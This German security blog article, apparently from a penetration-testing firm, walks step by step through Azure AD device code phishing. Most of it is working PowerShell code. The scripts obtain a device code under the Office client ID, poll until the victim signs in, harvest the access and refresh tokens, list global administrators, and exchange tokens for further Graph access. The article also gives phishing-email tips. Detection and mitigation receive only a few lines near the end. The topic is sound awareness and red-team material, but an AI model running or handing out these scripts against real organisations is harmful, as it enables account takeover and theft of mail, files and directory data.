Microsoft Cloud Access Tokens
Marius Elmiger
Phishing-Angriffe erkennen und als Unternehmen dagegen wappnen
Der Schutz von Tokens, die für die Authentifizierung on-premises oder legacy Systemen verwendet wird, ist gut bekannt und erforscht, insbesondere für Active Directory, das häufig als primärer Identity Provider (IdP) in IT-Umgebungen von Unternehmen verwendet wird. Voraussetzung für den Diebstahl von Kerberos-Tokens oder NTHashes ist in den meisten Fällen, dass ein Angreifer lokalen administrativen Zugriff auf Geräte erhält, die mit einer Domäne verbunden sind. Das unauthentifizierte Sammeln von Token ist ebenfalls möglich, erfordert aber beispielsweise das Knacken des im NTLMv2-Challenge-Response-Protokoll verwendeten NThashes. Schliesslich schützen Sicherheitsmechanismen des Windows-Betriebssystems wie Credential Guard das Schlüsselmaterial im Memory, wodurch es für einen Angreifer schwieriger wird, die NTHash- oder Kerberos-Tokens aus dem Memory zu lesen.
Moderne IdPs hingegen verwenden oft moderne Authentifizierungs- und Autorisierungsprotokolle wie OpenID Connect, SAML oder OAuth 2.0 Standards. OpenID Connect baut auf dem OAuth 2.0-Protokoll auf und verwendet ein zusätzliches JSON Web Token (JWT), das als ID-Token bezeichnet wird. Es ist speziell auf die Benutzerauthentifizierung ausgerichtet. OAuth 2.0 hingegen sollte nur für die Autorisierung verwendet werden. SAML ist ein XML-basierter Standard für den Austausch von Authentifizierungs- und Autorisierungsdaten zwischen IdPs und Dienstanbietern, um die Identität und die Berechtigungen des Benutzers zu überprüfen. Die Token werden häufig als Cookies gespeichert und können oft direkt aus dem Browser extrahiert werden. Administrative Rechte sind in der Regel nicht erforderlich. Der moderne Token-Schutz ist im Vergleich zum legacy Token-Schutz schwächer, da ein Angreifer, der ein Gerät kompromittiert hat, Token extrahieren kann, ohne lokale Administratorenrechte zu erhalten. Die Token können dann oft auf das Gerät des Angreifers übertragen werden. Da das Token nach dem Authentifizierungsprozess erstellt wurde, vertraut das Zielsystem dem Token und gewährt den Zugriff auf die Daten, für die der Benutzer berechtigt ist, ohne erneute Abfrage des Passworts oder der Multi-Faktor-Authentifizierung. Im OAuth 2.0-Standard werden diese Token als Access- und Refresh-Token bezeichnet. Es gibt verschiedene Token-Austausch-Flows, um solche Token nach erfolgreicher Authentifizierung auszustellen. Das Zugriffstoken gewährt dem Token-Besitzer Zugriff auf Ressourcen, ohne dass das Passwort weitergegeben werden muss. Wenn ein Angreifer also ein OAuth 2.0-Access-Token erlangen kann, kann er es verwenden, um Zugriff auf die geschützten Ressourcen zu erhalten.
Es gibt mehrere Methoden, um als Angreifer an moderne Authentifizierungstoken zu gelangen. Diese Artikelserie konzentriert sich auf Szenarien, in denen ein Angreifer noch keinen Zugriff auf ein Unternehmensgerät erlangt hat und sich entscheidet die Phishing-Angriffstechnik zu verwenden. Die beschriebenen Angriffe können jedoch auch in Szenarien nach der Kompromittierung verwendet werden, um Token von weiteren Benutzern auf noch heimlichere Weise zu erlangen. Aber was ist Phishing? Laut phishing.org handelt es sich beim Phishing um ein cybercrime, bei dem eine oder mehrere Zielpersonen per Email, Telefon oder Textnachricht von einer Person kontaktiert werden, die sich als seriöse Institution ausgibt, um Personen dazu zu verleiten, sensible Daten wie persönliche Informationen, Bank- und Kreditkartendaten und Passwörter preiszugeben. Diese Informationen werden dann verwendet, um auf wichtige Konten zuzugreifen, was zu Identitätsdiebstahl und finanziellen Verlusten führen kann. Den Angreifern stehen zahlreiche Phishing-Techniken zur Verfügung. Im folgenden Kapitel wird eine der drei am häufigsten verwendeten Techniken für gezielte Phishing-Angriffe auf die Microsoft Cloud vorgestellt.
Der Azure AD Device Authorization Grant Flow ist eine Möglichkeit für ein Gerät, ein Zugriffstoken zu erhalten, mit dem es sich authentifizieren und auf geschützte Ressourcen zugreifen kann. Der Flow ist für Szenarien gedacht, in denen ein Gerät nicht in der Lage ist, Benutzer direkt zu authentifizieren und sich für die Benutzerauthentifizierung auf einen externen Dienst verlassen muss. Weitere Einzelheiten finden Sie unter RFC8628. Die folgenden Schritte beschreiben den Ablauf des Azure AD Device Authorization Grant Flows:
Der Angriffspfad eines Angreifers zum Missbrauch des Azure AD Device Authorization Grant Flows kann folgendermassen aussehen:
Um einen Benutzer- und Gerätecode zu erzeugen, sind folgende Parameter erforderlich:
Das PowerShell-Script für die Anfrage:
#client_id = Microsoft Office App #resource = Microsoft Graph $body=@{ "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" "resource" = "https://graph.microsoft.com" } #Define an UserAgent that is widely used $UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" #Invoke the request to get device code $Headers=@{} $Headers["User-Agent"] = $UserAgent $authResponse = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` -Headers $Headers ` -Body $body #Display the user_code and device_code $authResponse
Beispielantwort:
user_code : DQJAH6J9C device_code : DAQABAAEAAAD--DLA3VO7QrddgJg7Wevr6lBLbK3n9l4Cdwp0k0zio8AJkvDYRdoFheTfapoEVSc9ZfO8vRd1hgHAZWAcs1n9zK1iSJ7_vHOKd58Jwozs3tqZzY39ruzaq8iDL2WQYoSrkymBBc IQLVKIAAxZOq6_jQLMU4I1KCbuWWnF_SBKjtTlPsBmG6eAqqmVW01eLgEgAA verification_url : https://microsoft.com/devicelogin expire : 900 interval : 5 message : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DQJAH6J9C to authenticate.
Der user_code und die verification_url werden im nächsten Schritt an das Opfer gesendet. Wichtig zu beachten ist die Ablaufzeit. Diese beträgt 15 Minuten. Nach 15 Minuten ist der Device- und Usercode nicht mehr gültig. Das empfohlene Intervall von 5 Sekunden beschreibt die Zeit, die ein Client abfragen sollte, um zu prüfen, ob die Authentifizierung erfolgreich war.
Der Angreifer bereitet eine gezielte Phishing-Email an das Opfer vor, die den user_code aus Schritt 1 und den Link mit der verification_url enthält.
Dies kann entweder manuell geschehen oder mit Hilfe eines Skripts wie mit dem aus phish_oauth oder AADInternals.
Ein Beispiel für eine Phishing-Email könnte wie folgt aussehen:
Wie erläutert in Schritt 1, ist der user_code nur 15 Minuten lang gültig. Der Angriff könnte um einen Link zur Erneuerung des user_codes erweitert werden. Dies würde eine nicht vertrauenswürdige Website erfordern, könnte aber verwendet werden, um das Opfer dazu zu bringen, einen gültigen user_code zu generieren. Die Spam-Bewertung der Phishing-Email kann mit mail-tester.com überprüft werden.
Wenn das Opfer die legitime Microsoft-URL (A) öffnet, wird das Opfer aufgefordert, den Code aus der Phishing-Email (B) einzugeben.
Nach Eingabe des Codes wird das Opfer aufgefordert, den Benutzer auszuwählen, der sich anmelden soll (C). Die in Schritt 1 festgelegte client_id wird als “Microsoft Office” angezeigt (D). Für die Authentifizierung werden entweder die zwischengespeicherten Anmeldeinformationen verwendet oder der Benutzer muss sich je nach der Conditional-Access-Richtlinie mit MFA anmelden. An diesem Punkt ist die Beteiligung des Opfers am Attack Path abgeschlossen.
Hinweis: Wenn der user_code abgelaufen ist, wird die Fehlermeldung “That code didn’t work. Check the code and try again.” angezeigt.
Um zu überprüfen, ob sich das Opfer angemeldet hat, muss der Angreifer in regelmässigen Abständen eine POST-Anfrage an den Azure AD OAuth 2.0-Endpunkt senden. Dies kann mit dem folgenden Script durchgeführt werden:
#Define an Azure AD Application from which you want to connect in the name of the victim to a resource #client_id = Microsoft Office App #resource = Microsoft Graph $body=@{ "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" "resource" = "https://graph.microsoft.com" } #Define an UserAgent that is widely used $UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" #Invoke the request to get device code $Headers=@{} $Headers["User-Agent"] = $UserAgent $authResponse = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` -Headers $Headers ` -Body $body #Display the user_code and device_code $authResponse #Pull for response $tokenResponse = $null #Generate the expire data from expire $maxDate = (Get-Date).AddSeconds($authResponse.expire) #Define the body for the pull request with the device_code generated above $bodyTokenResponse=@{ "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" "code" = $authResponse.device_code } #Loop until $tokenResponse has a value or the user_code is valid while (!$tokenResponse -and (Get-Date) -lt $maxDate) { try { $tokenResponse = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` -Headers $Headers ` -Body $bodyTokenResponse } catch [System.Net.WebException] { if ($_.Exception.Response -eq $null) { throw } $result = $_.Exception.Response.GetResponseStream() $reader = New-Object System.IO.StreamReader($result) $reader.BaseStream.Position = 0 $errBody = ConvertFrom-Json $reader.ReadToEnd(); if($errBody.Error -ne "authorization_pending") { throw } Start-Sleep($authResponse.interval); Write-Host -NoNewline "."; } } Write-Host "" if($tokenResponse) { Write-Host $tokenResponse } else { Write-Host "1:0 for the Victim" }
Sobald das Opfer auf den Phish hereingefallen ist, gibt die Variable $tokenResponse das folgende Ergebnis aus:
token_type : Bearer scope : AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite DataLossPreventionPolicy.Evaluate DeviceManagementConfiguration.Read.All DeviceManagementConfiguration.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Notes.Create People.Read People.Read.All Printer.Read.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWrite Users.Read expire : 5201 ext_expire : 5201 expires_on : 1671974450 not_before : 1671968948 resource : https://graph.microsoft.com access_token : eyJ0eXAiOi...J1KXIjA refresh_token : 0.AYIAQ2ah...z7JTJQr foci : 1 id_token : eyJ0eXAiOi...MS4wIn0
Das Ergebnis umfasst die folgenden Felder:
token_type
: Ein Sicherheits-Token mit der Eigenschaft, dass jede Partei, die im Besitz des Tokens ist (ein Bearer), den Token auf jede Weise verwenden kann, die auch jede andere Partei im Besitz des Tokens verwenden kann. Die Verwendung eines Bearer-Tokens erfordert nicht, dass der Inhaber den Besitz von kryptografischem Schlüsselmaterial nachweist (Proof-of-Possession)scope
: Alle Zugriffsrechte, die unser Opfer-Nutzer auf die Ressource https://graph.microsoft.com
hataccess_token
: Das Token, mit dem wir uns bei dem Konto des Opfers anmelden werdenrefresh_token
: Das Token, mit dem wir das Zugriffstoken aktualisieren könnenMit dem erworbenen access_token des Opfers kann der Angreifer nun über Microsoft Graph API-Anfragen auf die Daten des Opfers zugreifen oder das Refresh-Token eintauschen, um auf andere Microsoft Cloud-Ressourcen zuzugreifen.
Das folgende Codeschnipsel verwendet das access_token des Benutzers, um alle permanent zugewiesenen Global Aministrators auszulesen:
Write-Host "------------------------------------------------" Write-Host "Members of the Azure AD Global Administrators role" Write-Host "------------------------------------------------" #Query Microsoft Graph API with the access token to display all Global Administrators $Headers = @{} $Headers.Add("Authorization","Bearer"+ " " + "$($tokenResponse.access_token)") #Query Global Admin object id" $apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles?`$filter=roleTemplateId eq '62e90394-69f5-4237-9190-012177145e10'&`$select=id" try { $Data = Invoke-RestMethod -Headers $Headers -Uri $apiUrl -Method Get } Catch { Write-Error $Error[0] } $globalAdminId = ($Data | select-object Value).Value.id #Query Global Admin members" $apiUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$($globalAdminId)/members?`$select=id,userPrincipalName" try { $Data = Invoke-RestMethod -Headers $Headers -Uri $apiUrl -Method Get } Catch { Write-Error $Error[0] } $globalAdminMembers = ($Data | select-object Value).Value.userPrincipalName $globalAdminMembers
Mit dem folgenden Codeschnipsel ist es möglich, mit dem refresh_token aus Schritt 4 ein neues Token für die Azure AD Graph Ressource anzufordern:
$body=@{ "client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c" "grant_type" = "refresh_token" "scope" = "openid" "resource" = "https://graph.windows.net" "refresh_token" = $tokenResponse.refresh_token } Write-Host "------------------------------------------------" Write-Host "Exchange Microsoft Graph token to an Azure AD Graph token" Write-Host "------------------------------------------------" $AADTokenresponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/Common/oauth2/token" -Body $body -ErrorAction SilentlyContinue $AADTokenresponse
Das neue Token kann dann verwendet werden, um die Azure AD Graph API abzufragen.
Das gesamte Phishing-Script kann unter folgendem GitHub Adresse abgefragt werden.
Es gibt mehrere Tools zur Simulation von Angreifern, mit denen sich der im vorherigen Kapitel beschriebene Angriff automatisieren lässt:
Der Device-Authorization-Grant-Flow kann nicht deaktiviert werden, und Pishing kann nicht vollständig verhindert werden, auch nicht mit dem besten Training und Spam-Filter. Daher sollten wir mit unserem “Assume Breach” mindeset mehrere Sicherheitsebenen konfigurieren, um die Auswirkungen im Falle eines erfolgreichen Angriffs zu minimieren. Dies könnte folgendes beinhalten:
Um die Verwendung des Device Code Flow zu erkennen, kann das folgende Ereignis aus dem Azure AD Signin Log ausgelesen werden.
Der beschriebene Angriff und auch andere Account-Takeover-Szenarien können mit ausgefeilteren KQL-Abfragen erkannt werden, z.B. mit der in Mehmet Ergene blog post beschriebenen Hunting Abfrage oder mit der KQL-Abfrage im GitHub Repository von reprise99.
Phishing ist eine ernsthafte Bedrohung, die sowohl für Einzelpersonen als auch für Unternehmen erhebliche Folgen haben kann. Es ist von entscheidender Bedeutung, dass die Nutzer sich der potenziellen Risiken von Phishing-Angriffen bewusst sind und Massnahmen ergreifen, um sich und ihre Daten zu schützen. Dazu gehört, dass sie vorsichtig sind, wenn sie unerwartete oder verdächtige Anfragen nach persönlichen Informationen oder Anmeldedaten erhalten, und dass Sicherheitsmassnahmen ergriffen werden, z. B. mehrstufige Authentifizierung. Für Unternehmen ist es ausserdem wichtig, einen Plan zu haben, um auf Phishing-Angriffe zu reagieren und deren Auswirkungen abzumildern, und ihre Sicherheitsrichtlinien und -verfahren regelmässig zu überprüfen und zu aktualisieren. Durch diese Vorsichtsmassnahmen können sich Einzelpersonen und Unternehmen besser vor dieser Art von Bedrohung schützen und die Wahrscheinlichkeit verringern, Opfer eines Phishing-Angriffs zu werden. In diesem Artikel wurde Schritt für Schritt beschrieben, wie ein Angreifer den Azure AD Device Code Phishing-Angriff nutzen könnte, um die Rechte von einem nicht authentifizierten Zustand zu einem authentifizierten Azure AD-Benutzer zu erhöhen. Wir empfehlen, sich auf solche Angriffe vorzubereiten und die beschriebenen Erkennungsfunktionen zu implementieren.
Weitere empfohlene Literatur:
Lassen Sie durch uns einen Social Engineering Test durchführen!
Marius Elmiger
Marius Elmiger
Marius Elmiger
Marius Elmiger
Unsere Spezialisten kontaktieren Sie gern!